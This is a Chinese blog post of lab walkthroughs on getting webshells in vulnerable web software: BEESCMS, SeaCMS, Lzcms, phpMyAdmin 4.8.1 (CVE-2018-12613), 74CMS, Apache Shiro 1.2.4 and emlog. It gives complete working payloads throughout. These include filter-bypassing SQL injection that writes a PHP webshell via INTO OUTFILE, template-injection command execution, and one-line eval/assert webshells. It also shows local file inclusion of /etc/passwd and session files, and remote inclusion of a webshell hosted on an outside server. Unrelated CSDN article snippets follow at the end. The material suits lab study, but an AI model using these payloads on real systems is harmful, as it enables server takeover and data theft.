DAY26:GetShell专题_lzcms_v1.1.5后台文件上传getshell-程序员宅基地

技术标签: web安全  php  mysql  数据库  

DAY26:GetShell专题

1、BEES企业网站管理系统 getshell实验

进入目标网址

请添加图片描述

在 URL 处输入admin进入后台管理

请添加图片描述

尝试使用弱密码登录失败,发现会有跳转界面,似乎没有什么异常

请添加图片描述

尝试使用御剑扫描

请添加图片描述

发现有 www.zip下载后打开

请添加图片描述

发现是源码泄露,找到我们需要的内容,有些无法访问,有些纯白,似乎只有登陆界面可以尝试注入,打开源码,判断login.php有没有什么注入点。

请添加图片描述

<?php
/**
 * $Author: BEESCMS $
 * ============================================================================
 * 网站地址: http://www.beescms.com
 * 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
 * 不允许对程序代码以任何形式任何目的的再发布。
 * ============================================================================
*/

@ini_set('session.use_trans_sid', 0);
@ini_set('session.auto_start',    0);
@ini_set('session.use_cookies',   1);
error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));
define('INC_PATH',CMS_PATH.'includes/');
define('DATA_PATH',CMS_PATH.'data/');
include(INC_PATH.'fun.php');
include(DATA_PATH.'confing.php');
include(INC_PATH.'mysql.class.php');
if(file_exists(DATA_PATH.'sys_info.php')){
    
include(DATA_PATH.'sys_info.php');
}
$mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT);
session_start();
$s_code=empty($_SESSION['code'])?'':$_SESSION['code'];
$_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in'];
$_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin'];
if($_SESSION['login_in']&&$_SESSION['admin']){
    header("location:admin.php");}
$action=empty($_GET['action'])?'login':$_GET['action'];

if($action=='login'){
    
	global $_sys;
	include('template/admin_login.html');
}
//判断登录
elseif($action=='ck_login'){
    
	global $submit,$user,$password,$_sys,$code;
	$submit=$_POST['submit'];
	$user=fl_html(fl_value($_POST['user']));
	$password=fl_html(fl_value($_POST['password']));
	$code=$_POST['code'];
	if(!isset($submit)){
    
		msg('请从登陆页面进入');
	}
	if(empty($user)||empty($password)){
    
		msg("密码或用户名不能为空");
	}
	if(!empty($_sys['safe_open'])){
    
		foreach($_sys['safe_open'] as $k=>$v){
    
		if($v=='3'){
    
			if($code!=$s_code){
    msg("验证码不正确!");}
		}
		}
		}
	check_login($user,$password);
	
}

elseif($action=='out'){
    
	login_out();
}
?>

关键代码:

error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));

这里看到,他用到了str_replace做了替换为空处理,由此我们需要进行双写绕过

尝试登录

账号:admin'
密码:admin

报错

请添加图片描述

但是通过报错信息,我们看到了很多内容,但是这里我们不准备使用 SQL 注入查数据,使用写文件写一个马上去,getshell

这里要用到的是select <?php assert($_POST[111]);?> into outfile '/文件路径'

因为有一个str_replace所以需要双写,随便输入用户名和密码,登录并bp抓包。

使用绕过限制写入文件的注入代码

构建payload:

admin' ununionion seselectlect 1,2,3,4,<?php assert($_POST['111']); ?> inintoto outoutfilefile '/var/www/html/shell.php'#

报错

请添加图片描述

在源码中发现fun.php

function fl_value($str){
    
	if(empty($str)){
    return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
}

function fl_html($str){
    
	return htmlspecialchars($str);
}

发现将< >过滤了,尝试url编码绕过,构建payload:

%61%64%6d%69%6e%27%20%75%6e%75%6e%69%6f%6e%69%6f%6e%20%73%65%73%65%6c%65%63%74%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%3c%3f%70%68%70%20%61%73%73%65%72%74%28%24%5f%50%4f%53%54%5b%27%31%31%31%27%5d%29%3b%20%3f%3e%20%69%6e%20%69%6e%74%6f%20%6f%75%74%6f%75%74%66%69%6c%65%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%23

报错,url编码绕过失败

请添加图片描述

尝试使用16进制绕过,将一句话木马进行16进制编码,注意前面加上0x,这种方法也可以用在 sql 注入传参时引号被限制的情况的绕过注入

经过一系列调整,只有如下面构建payload,才能成功:

admin%27 un union ion selselectect 1,2,3,4,0x3c3f7068702061737365727428245f504f53545b27313131275d293b203f3e %20 in into outoutfilefile '/var/www/html/shell.php';%00

请添加图片描述

验证是否上传成功
请添加图片描述

蚁剑连接 getshell

2、海洋影视网站-getshell实验

打开目标网址

请添加图片描述

使用burpsuite抓包

传入paload:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");

请添加图片描述

在右边回显位置发现了命令执行后的结果,www-data.
请添加图片描述

那么这里我们可以直接传入一句话木马

利用如下payload,写入木马 getshell。利用 hackbar 验证是否写入成功:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("echo '<?php eval(\$_POST[111]);?>' >1.php");

请添加图片描述

验证 getshell ,蚁剑连接

3、Lzcms_v1.1.5 后台文件上传getshell

​ LzCMS是用ThinkPHP+layui做的,简单方便,没有复杂的功能,是一个简单个人博客系统。 Lzcms_v1.1.5后台存在文件上传getshell漏洞,攻击者可利用此漏洞任意代码执行,从而控制服务器
请添加图片描述

进入目标网址,直接进后台

请添加图片描述

使用口令admin/admin123登陆

请添加图片描述

进入后台以后点击内容管理,编辑

在栏目图片这里上传1.png,内容为一句话木马,抓包将文件后缀修改为php

请添加图片描述

<?php @eval($_POST[111]);?>

请添加图片描述

这里直接上传了一个 1.php
请添加图片描述请添加图片描述

蚁剑连接 getshell

4、phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

访问

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可见/etc/passwd被读取,说明文件包含漏洞存在:

请添加图片描述

环境启动后,访问http://your-ip:8080,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户

我们先尝试在sql查询中输入SELECT '<?=phpinfo()?>';,通过抓包工具获得我们查询的sessionid(cookie中phpMAdmin)的值

请添加图片描述

Cookie: phpMyAdmin=6a5466755645fa2795edbd4096cfd5d9; pma_lang=zh_CN; auto_saved_sql_sort=

在 phpMyAdmin 中 session 文件为/tmp/sess_sessionid,因此我们在网址中包含就好
请添加图片描述

http://your_ip/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_6a5466755645fa2795edbd4096cfd5d9

sess 后面要跟上你之前记住的 phpmyadmin 的cookie

成功复现

5、骑士CMS模版注入+文件包含getshell

​ 骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器、
请添加图片描述

访问如下 url

http://IP/index.php?m=home&a=assign_resume_tpl

请添加图片描述

对此页面发送POST请求:

variable=1&tpl=<?php fputs(fopen("111.php","w"),"<?php eval(\$_POST[1]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/> 

请添加图片描述

这里如果查看日志会发现已经记录了错误,木马已经写进去了,位置:\WWW\data\Runtime\Logs\Home
请添加图片描述

包含日志文件getshell,输入如下网址

http://IP/index.php?m=home&a=assign_resume_tpl

​ 发送如下POST请求(注意:最后的22_08_01.log是按照日期来确定名称的,在包含日志文件的时候要包含当日的实际日期,如果是2022年8月5号开启的环境就要包含22_08_05.log):

variable=1&tpl=data/Runtime/Logs/Home/22_08_01.log

请添加图片描述

这里使用bp没有成功,但是使用 hackbar 好了

请添加图片描述

创建了111.php,访问一下

请添加图片描述请添加图片描述

成功

6、Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

​ Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

​ Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

存在危险的基础库:

commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
http://目标IP:8080

进入目标页面

请添加图片描述

输入默认的账号密码尝试登录,账号为admin,密码为vulhub,登录成功显示如下

请添加图片描述

这里使用 shiro 反序列化自动工具跑出 key
请添加图片描述请添加图片描述

可以看到检查日志中成功爆出秘钥,并填写到指定秘钥中,点击爆破利用链及回显,可以看到当前利用链和回显位置适用
请添加图片描述

切换功能区至命令执行,输入whoami,可以看到获取的权限为root,由此证明可以实现远程命令执行

请添加图片描述

getshell

7、远程文件包含getshell实战靶场

云演环境

请添加图片描述

进入环境

include-01、直接包含

请添加图片描述

直接使用 http:// 协议包含远程服务器上的文件1.txt

1.txt 内容为一句话木马

http://本IP/src/include-01/?file=http://远程服务器IP/1.txt

访问并使用hackbar传入一个post参数

即可 getshell

请添加图片描述

include-02、禁止翻目录

同上,蚁剑连接 getshell

请添加图片描述

include-03、绕过指定后缀的形式

请添加图片描述

远程文件包含的绕过指定后缀的方式: 后面接?、#

getshell操作同第一关

include-04、指定前缀

本关卡会指定目录 在这种情况下远程文件包含不可以使用。

8、emlog备份数据库漏洞

进入目标网址,这里主页有些问题,所以显示不完整

请添加图片描述

url 处添加/admin进入后台

请添加图片描述

输入 admin/admin123进入后台

请添加图片描述

点击数据,点击备份数据库随便那个下载到本地上

请添加图片描述

在里面添加上 sql 语句的一句话木马

请添加图片描述

select "<?php phpinfo(); @eval($_POST['111']);?>" into outfile '/var/www/html/111.php';

请添加图片描述

点击导入本地备份

请添加图片描述

备份导入成功,访问文件
请添加图片描述蚁剑连接 getshell

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_49433473/article/details/126255540

智能推荐

如何把海思 Hi3556、Hi3559当ipc芯片使用_hi3556的固件可以刷hi3559吗-程序员宅基地

文章浏览阅读8k次。解决思路:1、网络方面:这两颗料没有网口,那么给linux系统端移植一颗usb转网卡的芯片即可,价格一两块RMB,可行。2、去掉middleware和reference层,直接在ndk层进行操作;3、如果对图像有要求,可以在相关接口扩展指令,从而达到间接使用mpi接口的目的;..._hi3556的固件可以刷hi3559吗

创龙TI OMAP-L138(定点/浮点DSP C674x+ARM9)RJ45以太网口_am1808 代换-程序员宅基地

文章浏览阅读466次。CPUOMAP-L138、TMS320C6748、AM1808三款CPU管脚兼容,外设资源基本相同。OMAP-L138TI公司的达芬奇架构嵌入式应用处理器开始使用DSP与ARM结合的非对称多核结构,OMAP-L138就是其中的一款低功耗双核嵌入式处理器。OMAP-L138双核架构兼具DSP的高数字信号处理性能和精简指令计算机(RISC)技术的优点,双核均是32位处理器。以下是OMAP-L138 CPU的资源框图:RJ45以太网口开发板采用了SMSC的LAN8710A网卡芯片,它可以自_am1808 代换

个人测试文档_测试文档csdn-程序员宅基地

文章浏览阅读71次。YYYYYYYY欢迎使用Markdown编辑器你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。新的改变我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:全新的界面设计 ,将会带来全新的写作体验;在创作中心设置你喜爱的代码高亮样式,Markdown 将代码片显示选择的高亮样式 进行展_测试文档csdn

vue中的uri_Vue.js——vue-resource全攻略-程序员宅基地

文章浏览阅读201次。概述上一篇我们介绍了如何将$.ajax和Vue.js结合在一起使用,并实现了一个简单的跨域CURD示例。Vue.js是数据驱动的,这使得我们并不需要直接操作DOM,如果我们不需要使用jQuery的DOM选择器,就没有必要引入jQuery。vue-resource是Vue.js的一款插件,它可以通过XMLHttpRequest或JSONP发起请求并处理响应。也就是说,$.ajax能做的事情,vue-..._vue uri

vite初识,vite与vuecli对比_vite和vuecli区别-程序员宅基地

文章浏览阅读1.4k次。vite初识,vite与vuecli对比_vite和vuecli区别

怎么彻底关闭计算机应用程序,电脑自动关机前如何强行关闭应用程序-程序员宅基地

文章浏览阅读1.2k次。加上-fWindows XP的关机是由Shutdown.exe程序来控制的,位于Windows\System32文件夹中。如果想让Windows 2000也实现同样的效果,可以把Shutdown.exe复制到系统目录System32下。首先当然要求主板必须支持软件关机功能,否则你还得亲自去按电源开关才能关机,现在的主板一般都支持软件关机。操作步骤:单击“开始”/程序/附件/系统工具中"计划任务",..._怎么先关程序后关电脑

随便推点

原生 table 浏览器 border 粗细不一致(谷歌90版本以后) table兼容问题_兼容模式下 table表格边框变粗的问题-程序员宅基地

文章浏览阅读2.6k次,点赞2次,收藏6次。.formTable{ border-spacing: 1px; background-color: rgba(201,201,201,1); /*边线颜色*/ border-collapse: separate; }td ,tr{ background-color: #fff;}谷歌更新到90版本后,border-collapse:collapse ; 属性出现问题导致,border 出现宽度不一![在这里插入图片描述](https://img-blog.csdni_兼容模式下 table表格边框变粗的问题

C调用汇编_c 里面调用汇编-程序员宅基地

文章浏览阅读1.6k次。1.80X86 32位汇编基础以及寄存器设定 2.栈帧与C函数调用 3.函数调用的汇编级解释以及栈图 4.stdcall和cdcel------------------------------------------------------1. 80X86 32位CPU的编程模型(programming model) 80X86有16个通用寄存器register。从某种程度_c 里面调用汇编

python求鸡兔同笼 鸡兔总数鸡兔腿_编写一个程序解鸡兔同笼问题:已知鸡兔总数为a,鸡兔腿总数为b,计算鸡兔各有多少只?...-程序员宅基地

文章浏览阅读1.4k次。【单选题】42. Wie alt ist deine Schwester? Ist sie noch klein? - Ja, sie ist acht.(1998)【单选题】46. Er behauptet, dass er niemals vorher danach .(2014)【多选题】在矩阵组织结构中,项目管理班子成员要直接接受( )的领导 (2.0分)【多选题】(2.0分)【单选题..._gegegan

C++/Qt Window系统下无边框窗体_c++ 无边框窗口-程序员宅基地

文章浏览阅读488次,点赞9次,收藏5次。C++/Qt Window系统下无边框窗体_c++ 无边框窗口

BiLSTM双向长短期记忆神经网络回归预测算法(基于Matlab实现)_双向bilstm模型-程序员宅基地

文章浏览阅读539次,点赞11次,收藏9次。正向的LSTM网络接受序列数据的初始状态,逐步学习前向信息并更新内部隐藏状态,最终生成前向隐藏状态序列。反向的LSTM网络则以相反的顺序处理序列数据,并生成相应的反向隐藏状态序列。本文将介绍使用Matlab实现的BiLSTM算法,并展示其在多输入单输出回归问题上的应用。然后,我们定义了BiLSTM模型的层次结构,包括序列输入层、BiLSTM层、全连接层和回归层。与传统的单向LSTM相比,BiLSTM能够同时利用序列数据的前向和后向信息,从而提高模型在长期依赖关系上的学习能力。_双向bilstm模型

D78XX系列——用于各种电视机、收录机、电子仪器、设备的稳压电源电路,输出电流大,内设过热、短路保护电路,无需外接元件-程序员宅基地

文章浏览阅读295次,点赞9次,收藏11次。D78XX系列是用于各种电视机、收录机、电子仪器、设备的稳压电源电路。包括D7805、D7806、 D7808、 D7809、 D7810、 D7812、 D7815。● 输出电流大,IOMAX= 1A.● 封装形式: T0-220。● 内设过热、短路保护电路。